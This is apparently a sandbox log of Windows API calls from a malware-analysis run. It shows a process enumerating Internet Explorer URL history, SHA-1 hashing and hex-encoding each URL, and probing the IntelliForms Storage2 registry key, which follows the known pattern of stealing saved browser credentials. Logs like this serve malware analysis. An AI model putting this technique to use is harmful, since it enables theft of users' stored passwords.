_vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="94") returned 2 [0097.324] lstrlenW (lpString="859E2E25DB18B57644D88C70E8") returned 26 [0097.324] lstrlenW (lpString="94") returned 2 [0097.324] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.324] lstrcpyW (in: lpString1=0x2815670, lpString2="859E2E25DB18B57644D88C70E8" | out: lpString1="859E2E25DB18B57644D88C70E8") returned="859E2E25DB18B57644D88C70E8" [0097.324] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70E8", lpString2="94" | out: lpString1="859E2E25DB18B57644D88C70E894") returned="859E2E25DB18B57644D88C70E894" [0097.324] LocalFree (hMem=0x7290b70) returned 0x0 [0097.324] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0097.324] lstrlenW (lpString="859E2E25DB18B57644D88C70E894") returned 28 [0097.324] lstrlenW (lpString="9F") returned 2 [0097.324] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.324] lstrcpyW (in: lpString1=0x2815a80, lpString2="859E2E25DB18B57644D88C70E894" | out: lpString1="859E2E25DB18B57644D88C70E894") returned="859E2E25DB18B57644D88C70E894" [0097.324] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70E894", lpString2="9F" | out: lpString1="859E2E25DB18B57644D88C70E8949F") returned="859E2E25DB18B57644D88C70E8949F" [0097.324] LocalFree (hMem=0x2815670) returned 0x0 [0097.324] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EA") returned 2 [0097.325] lstrlenW (lpString="859E2E25DB18B57644D88C70E8949F") returned 30 [0097.325] lstrlenW (lpString="EA") returned 2 [0097.325] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.325] lstrcpyW (in: lpString1=0x2815670, lpString2="859E2E25DB18B57644D88C70E8949F" | out: lpString1="859E2E25DB18B57644D88C70E8949F") returned="859E2E25DB18B57644D88C70E8949F" [0097.325] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70E8949F", lpString2="EA" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA") returned="859E2E25DB18B57644D88C70E8949FEA" [0097.325] LocalFree (hMem=0x2815a80) returned 0x0 [0097.325] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="98") returned 2 [0097.325] lstrlenW (lpString="859E2E25DB18B57644D88C70E8949FEA") returned 32 [0097.325] lstrlenW (lpString="98") returned 2 [0097.325] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.325] lstrcpyW (in: lpString1=0x2815a80, lpString2="859E2E25DB18B57644D88C70E8949FEA" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA") returned="859E2E25DB18B57644D88C70E8949FEA" [0097.325] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70E8949FEA", lpString2="98" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA98") returned="859E2E25DB18B57644D88C70E8949FEA98" [0097.325] LocalFree (hMem=0x2815670) returned 0x0 [0097.325] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="79") returned 2 [0097.325] lstrlenW (lpString="859E2E25DB18B57644D88C70E8949FEA98") returned 34 [0097.325] lstrlenW (lpString="79") returned 2 [0097.325] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.325] lstrcpyW (in: lpString1=0x28e7670, lpString2="859E2E25DB18B57644D88C70E8949FEA98" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA98") returned="859E2E25DB18B57644D88C70E8949FEA98" [0097.325] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70E8949FEA98", lpString2="79" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA9879") returned="859E2E25DB18B57644D88C70E8949FEA9879" [0097.325] LocalFree (hMem=0x2815a80) returned 0x0 [0097.325] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0097.325] lstrlenW (lpString="859E2E25DB18B57644D88C70E8949FEA9879") returned 36 [0097.325] lstrlenW (lpString="6C") returned 2 [0097.325] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.325] lstrcpyW (in: lpString1=0x28e7910, lpString2="859E2E25DB18B57644D88C70E8949FEA9879" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA9879") returned="859E2E25DB18B57644D88C70E8949FEA9879" [0097.325] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70E8949FEA9879", lpString2="6C" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA98796C") returned="859E2E25DB18B57644D88C70E8949FEA98796C" [0097.325] LocalFree (hMem=0x28e7670) returned 0x0 [0097.325] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C8") returned 2 [0097.325] lstrlenW (lpString="859E2E25DB18B57644D88C70E8949FEA98796C") returned 38 [0097.325] lstrlenW (lpString="C8") returned 2 [0097.325] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.325] lstrcpyW (in: lpString1=0x28e7670, lpString2="859E2E25DB18B57644D88C70E8949FEA98796C" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA98796C") returned="859E2E25DB18B57644D88C70E8949FEA98796C" [0097.325] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70E8949FEA98796C", lpString2="C8" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA98796CC8") returned="859E2E25DB18B57644D88C70E8949FEA98796CC8" [0097.325] LocalFree (hMem=0x28e7910) returned 0x0 [0097.325] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F6") returned 2 [0097.325] lstrlenW (lpString="859E2E25DB18B57644D88C70E8949FEA98796CC8") returned 40 [0097.326] lstrlenW (lpString="F6") returned 2 [0097.326] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.326] lstrcpyW (in: lpString1=0x28e7910, lpString2="859E2E25DB18B57644D88C70E8949FEA98796CC8" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA98796CC8") returned="859E2E25DB18B57644D88C70E8949FEA98796CC8" [0097.326] lstrcatW (in: lpString1="859E2E25DB18B57644D88C70E8949FEA98796CC8", lpString2="F6" | out: lpString1="859E2E25DB18B57644D88C70E8949FEA98796CC8F6") returned="859E2E25DB18B57644D88C70E8949FEA98796CC8F6" [0097.326] LocalFree (hMem=0x28e7670) returned 0x0 [0097.326] CryptDestroyHash (hHash=0x4469f50) returned 1 [0097.326] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.326] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.326] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.326] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.326] LocalFree (hMem=0x28e7910) returned 0x0 [0097.326] CoTaskMemFree (pv=0x71e3820) [0097.326] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.326] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/q05zZ.gif", lpSrch="?") returned 0x0 [0097.326] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.327] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.327] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/q05zZ.gif") returned 81 [0097.327] CryptHashData (hHash=0x4469cb0, pbData=0x71cf5c0, dwDataLen=0xa4, dwFlags=0x0) returned 1 [0097.327] CryptGetHashParam (in: hHash=0x4469cb0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.327] CryptDestroyHash (hHash=0x4469cb0) returned 1 [0097.327] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.327] CoTaskMemFree (pv=0x71cf5c0) [0097.327] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.327] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/zv2AFyzuzNau.gif", lpSrch="?") returned 0x0 [0097.327] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.328] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.328] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/zv2AFyzuzNau.gif") returned 68 [0097.328] CryptHashData (hHash=0x4469bd0, pbData=0x28c7540, dwDataLen=0x8a, dwFlags=0x0) returned 1 [0097.328] CryptGetHashParam (in: hHash=0x4469bd0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.328] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F2") returned 2 [0097.328] lstrlenW (lpString="") returned 0 [0097.328] lstrlenW (lpString="F2") returned 2 [0097.328] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.328] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.328] lstrcatW (in: lpString1="", lpString2="F2" | out: lpString1="F2") returned="F2" [0097.328] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AE") returned 2 [0097.328] lstrlenW (lpString="F2") returned 2 [0097.328] lstrlenW (lpString="AE") returned 2 [0097.328] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c4de0 [0097.328] lstrcpyW (in: lpString1=0x28c4de0, lpString2="F2" | out: lpString1="F2") returned="F2" [0097.328] lstrcatW (in: lpString1="F2", lpString2="AE" | out: lpString1="F2AE") returned="F2AE" [0097.328] LocalFree (hMem=0x7187650) returned 0x0 [0097.328] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="09") returned 2 [0097.328] lstrlenW (lpString="F2AE") returned 4 [0097.328] lstrlenW (lpString="09") returned 2 [0097.328] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c48e0 [0097.328] lstrcpyW (in: lpString1=0x28c48e0, lpString2="F2AE" | out: lpString1="F2AE") returned="F2AE" [0097.328] lstrcatW (in: lpString1="F2AE", lpString2="09" | out: lpString1="F2AE09") returned="F2AE09" [0097.328] LocalFree (hMem=0x28c4de0) returned 0x0 [0097.328] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="38") returned 2 [0097.328] lstrlenW (lpString="F2AE09") returned 6 [0097.328] lstrlenW (lpString="38") returned 2 [0097.328] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c4de0 [0097.328] lstrcpyW (in: lpString1=0x28c4de0, lpString2="F2AE09" | out: lpString1="F2AE09") returned="F2AE09" [0097.328] lstrcatW (in: lpString1="F2AE09", lpString2="38" | out: lpString1="F2AE0938") returned="F2AE0938" [0097.328] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.328] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8A") returned 2 [0097.329] lstrlenW (lpString="F2AE0938") returned 8 [0097.329] lstrlenW (lpString="8A") returned 2 [0097.329] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c48e0 [0097.329] lstrcpyW (in: lpString1=0x28c48e0, lpString2="F2AE0938" | out: lpString1="F2AE0938") returned="F2AE0938" [0097.329] lstrcatW (in: lpString1="F2AE0938", lpString2="8A" | out: lpString1="F2AE09388A") returned="F2AE09388A" [0097.329] LocalFree (hMem=0x28c4de0) returned 0x0 [0097.329] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.329] lstrlenW (lpString="F2AE09388A") returned 10 [0097.329] lstrlenW (lpString="EC") returned 2 [0097.329] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf5c0 [0097.329] lstrcpyW (in: lpString1=0x71cf5c0, lpString2="F2AE09388A" | out: lpString1="F2AE09388A") returned="F2AE09388A" [0097.329] lstrcatW (in: lpString1="F2AE09388A", lpString2="EC" | out: lpString1="F2AE09388AEC") returned="F2AE09388AEC" [0097.329] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.329] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="43") returned 2 [0097.329] lstrlenW (lpString="F2AE09388AEC") returned 12 [0097.329] lstrlenW (lpString="43") returned 2 [0097.329] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf670 [0097.329] lstrcpyW (in: lpString1=0x71cf670, lpString2="F2AE09388AEC" | out: lpString1="F2AE09388AEC") returned="F2AE09388AEC" [0097.329] lstrcatW (in: lpString1="F2AE09388AEC", lpString2="43" | out: lpString1="F2AE09388AEC43") returned="F2AE09388AEC43" [0097.329] LocalFree (hMem=0x71cf5c0) returned 0x0 [0097.329] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.329] lstrlenW (lpString="F2AE09388AEC43") returned 14 [0097.329] lstrlenW (lpString="85") returned 2 [0097.329] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf5c0 [0097.329] lstrcpyW (in: lpString1=0x71cf5c0, lpString2="F2AE09388AEC43" | out: lpString1="F2AE09388AEC43") returned="F2AE09388AEC43" [0097.329] lstrcatW (in: lpString1="F2AE09388AEC43", lpString2="85" | out: lpString1="F2AE09388AEC4385") returned="F2AE09388AEC4385" [0097.329] LocalFree (hMem=0x71cf670) returned 0x0 [0097.329] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="14") returned 2 [0097.329] lstrlenW (lpString="F2AE09388AEC4385") returned 16 [0097.329] lstrlenW (lpString="14") returned 2 [0097.329] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf670 [0097.329] lstrcpyW (in: lpString1=0x71cf670, lpString2="F2AE09388AEC4385" | out: lpString1="F2AE09388AEC4385") returned="F2AE09388AEC4385" [0097.329] lstrcatW (in: lpString1="F2AE09388AEC4385", lpString2="14" | out: lpString1="F2AE09388AEC438514") returned="F2AE09388AEC438514" [0097.329] LocalFree (hMem=0x71cf5c0) returned 0x0 [0097.329] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="92") returned 2 [0097.329] lstrlenW (lpString="F2AE09388AEC438514") returned 18 [0097.329] lstrlenW (lpString="92") returned 2 [0097.330] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.330] lstrcpyW (in: lpString1=0x7290b70, lpString2="F2AE09388AEC438514" | out: lpString1="F2AE09388AEC438514") returned="F2AE09388AEC438514" [0097.330] lstrcatW (in: lpString1="F2AE09388AEC438514", lpString2="92" | out: lpString1="F2AE09388AEC43851492") returned="F2AE09388AEC43851492" [0097.330] LocalFree (hMem=0x71cf670) returned 0x0 [0097.330] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0097.330] lstrlenW (lpString="F2AE09388AEC43851492") returned 20 [0097.330] lstrlenW (lpString="AA") returned 2 [0097.330] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.330] lstrcpyW (in: lpString1=0x72912f0, lpString2="F2AE09388AEC43851492" | out: lpString1="F2AE09388AEC43851492") returned="F2AE09388AEC43851492" [0097.330] lstrcatW (in: lpString1="F2AE09388AEC43851492", lpString2="AA" | out: lpString1="F2AE09388AEC43851492AA") returned="F2AE09388AEC43851492AA" [0097.330] LocalFree (hMem=0x7290b70) returned 0x0 [0097.330] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="21") returned 2 [0097.330] lstrlenW (lpString="F2AE09388AEC43851492AA") returned 22 [0097.330] lstrlenW (lpString="21") returned 2 [0097.330] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.330] lstrcpyW (in: lpString1=0x7290b70, lpString2="F2AE09388AEC43851492AA" | out: lpString1="F2AE09388AEC43851492AA") returned="F2AE09388AEC43851492AA" [0097.330] lstrcatW (in: lpString1="F2AE09388AEC43851492AA", lpString2="21" | out: lpString1="F2AE09388AEC43851492AA21") returned="F2AE09388AEC43851492AA21" [0097.330] LocalFree (hMem=0x72912f0) returned 0x0 [0097.330] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0097.330] lstrlenW (lpString="F2AE09388AEC43851492AA21") returned 24 [0097.330] lstrlenW (lpString="77") returned 2 [0097.330] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.330] lstrcpyW (in: lpString1=0x72912f0, lpString2="F2AE09388AEC43851492AA21" | out: lpString1="F2AE09388AEC43851492AA21") returned="F2AE09388AEC43851492AA21" [0097.330] lstrcatW (in: lpString1="F2AE09388AEC43851492AA21", lpString2="77" | out: lpString1="F2AE09388AEC43851492AA2177") returned="F2AE09388AEC43851492AA2177" [0097.330] LocalFree (hMem=0x7290b70) returned 0x0 [0097.330] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0097.330] lstrlenW (lpString="F2AE09388AEC43851492AA2177") returned 26 [0097.330] lstrlenW (lpString="70") returned 2 [0097.330] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.330] lstrcpyW (in: lpString1=0x2815a80, lpString2="F2AE09388AEC43851492AA2177" | out: lpString1="F2AE09388AEC43851492AA2177") returned="F2AE09388AEC43851492AA2177" [0097.330] lstrcatW (in: lpString1="F2AE09388AEC43851492AA2177", lpString2="70" | out: lpString1="F2AE09388AEC43851492AA217770") returned="F2AE09388AEC43851492AA217770" [0097.331] LocalFree (hMem=0x72912f0) returned 0x0 [0097.331] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A1") returned 2 [0097.331] lstrlenW (lpString="F2AE09388AEC43851492AA217770") returned 28 [0097.331] lstrlenW (lpString="A1") returned 2 [0097.331] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.331] lstrcpyW (in: lpString1=0x2815670, lpString2="F2AE09388AEC43851492AA217770" | out: lpString1="F2AE09388AEC43851492AA217770") returned="F2AE09388AEC43851492AA217770" [0097.331] lstrcatW (in: lpString1="F2AE09388AEC43851492AA217770", lpString2="A1" | out: lpString1="F2AE09388AEC43851492AA217770A1") returned="F2AE09388AEC43851492AA217770A1" [0097.331] LocalFree (hMem=0x2815a80) returned 0x0 [0097.331] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E8") returned 2 [0097.331] lstrlenW (lpString="F2AE09388AEC43851492AA217770A1") returned 30 [0097.331] lstrlenW (lpString="E8") returned 2 [0097.331] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.331] lstrcpyW (in: lpString1=0x2815a80, lpString2="F2AE09388AEC43851492AA217770A1" | out: lpString1="F2AE09388AEC43851492AA217770A1") returned="F2AE09388AEC43851492AA217770A1" [0097.331] lstrcatW (in: lpString1="F2AE09388AEC43851492AA217770A1", lpString2="E8" | out: lpString1="F2AE09388AEC43851492AA217770A1E8") returned="F2AE09388AEC43851492AA217770A1E8" [0097.331] LocalFree (hMem=0x2815670) returned 0x0 [0097.331] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0097.331] lstrlenW (lpString="F2AE09388AEC43851492AA217770A1E8") returned 32 [0097.331] lstrlenW (lpString="AA") returned 2 [0097.331] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.331] lstrcpyW (in: lpString1=0x2815670, lpString2="F2AE09388AEC43851492AA217770A1E8" | out: lpString1="F2AE09388AEC43851492AA217770A1E8") returned="F2AE09388AEC43851492AA217770A1E8" [0097.331] lstrcatW (in: lpString1="F2AE09388AEC43851492AA217770A1E8", lpString2="AA" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AA") returned="F2AE09388AEC43851492AA217770A1E8AA" [0097.331] LocalFree (hMem=0x2815a80) returned 0x0 [0097.331] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AE") returned 2 [0097.331] lstrlenW (lpString="F2AE09388AEC43851492AA217770A1E8AA") returned 34 [0097.331] lstrlenW (lpString="AE") returned 2 [0097.331] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.331] lstrcpyW (in: lpString1=0x28e7910, lpString2="F2AE09388AEC43851492AA217770A1E8AA" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AA") returned="F2AE09388AEC43851492AA217770A1E8AA" [0097.331] lstrcatW (in: lpString1="F2AE09388AEC43851492AA217770A1E8AA", lpString2="AE" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE") returned="F2AE09388AEC43851492AA217770A1E8AAAE" [0097.331] LocalFree (hMem=0x2815670) returned 0x0 [0097.331] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="28") returned 2 [0097.331] lstrlenW (lpString="F2AE09388AEC43851492AA217770A1E8AAAE") returned 36 [0097.331] lstrlenW (lpString="28") returned 2 [0097.331] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.331] lstrcpyW (in: lpString1=0x28e7670, lpString2="F2AE09388AEC43851492AA217770A1E8AAAE" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE") returned="F2AE09388AEC43851492AA217770A1E8AAAE" [0097.331] lstrcatW (in: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE", lpString2="28" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE28") returned="F2AE09388AEC43851492AA217770A1E8AAAE28" [0097.331] LocalFree (hMem=0x28e7910) returned 0x0 [0097.331] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="81") returned 2 [0097.332] lstrlenW (lpString="F2AE09388AEC43851492AA217770A1E8AAAE28") returned 38 [0097.332] lstrlenW (lpString="81") returned 2 [0097.332] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.332] lstrcpyW (in: lpString1=0x28e7910, lpString2="F2AE09388AEC43851492AA217770A1E8AAAE28" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE28") returned="F2AE09388AEC43851492AA217770A1E8AAAE28" [0097.332] lstrcatW (in: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE28", lpString2="81" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE2881") returned="F2AE09388AEC43851492AA217770A1E8AAAE2881" [0097.332] LocalFree (hMem=0x28e7670) returned 0x0 [0097.332] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="01") returned 2 [0097.332] lstrlenW (lpString="F2AE09388AEC43851492AA217770A1E8AAAE2881") returned 40 [0097.332] lstrlenW (lpString="01") returned 2 [0097.332] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.332] lstrcpyW (in: lpString1=0x28e7670, lpString2="F2AE09388AEC43851492AA217770A1E8AAAE2881" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE2881") returned="F2AE09388AEC43851492AA217770A1E8AAAE2881" [0097.332] lstrcatW (in: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE2881", lpString2="01" | out: lpString1="F2AE09388AEC43851492AA217770A1E8AAAE288101") returned="F2AE09388AEC43851492AA217770A1E8AAAE288101" [0097.332] LocalFree (hMem=0x28e7910) returned 0x0 [0097.332] CryptDestroyHash (hHash=0x4469bd0) returned 1 [0097.332] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.332] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.332] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.332] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.332] LocalFree (hMem=0x28e7670) returned 0x0 [0097.332] CoTaskMemFree (pv=0x28c7540) [0097.332] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.332] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/oo8ZxMpOJAa2JZ1VYi.gif", lpSrch="?") returned 0x0 [0097.332] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.333] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.333] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/oo8ZxMpOJAa2JZ1VYi.gif") returned 77 [0097.333] CryptHashData (hHash=0x4469bd0, pbData=0x71cf670, dwDataLen=0x9c, dwFlags=0x0) returned 1 [0097.333] CryptGetHashParam (in: hHash=0x4469bd0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.333] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B2") returned 2 [0097.333] lstrlenW (lpString="") returned 0 [0097.333] lstrlenW (lpString="B2") returned 2 [0097.333] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.333] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.333] lstrcatW (in: lpString1="", lpString2="B2" | out: lpString1="B2") returned="B2" [0097.333] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0097.333] lstrlenW 